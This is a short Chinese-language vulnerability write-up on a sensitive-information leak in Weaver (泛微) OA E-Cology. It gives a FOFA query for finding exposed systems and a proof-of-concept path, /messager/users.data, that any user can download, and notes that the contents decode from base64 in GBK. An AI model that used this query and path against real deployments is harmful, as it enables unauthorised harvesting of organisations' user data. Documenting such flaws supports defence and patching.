# 泛微OA E-Cology users.data 敏感信息泄漏 ## 漏洞描述 泛微OA E-Cology users.data 允许任意用户下载,获取OA中的敏感信息 ## 漏洞影响 ``` 泛微OA E-Cology ``` ## FOFA ``` app="泛微-协同商务系统" ``` ## 漏洞复现 登录页面 ![image-20220520134158756](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205201341810.png) 验证POC ``` /messager/users.data ``` ![image-20220520134209598](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205201342693.png) base64 GBK解码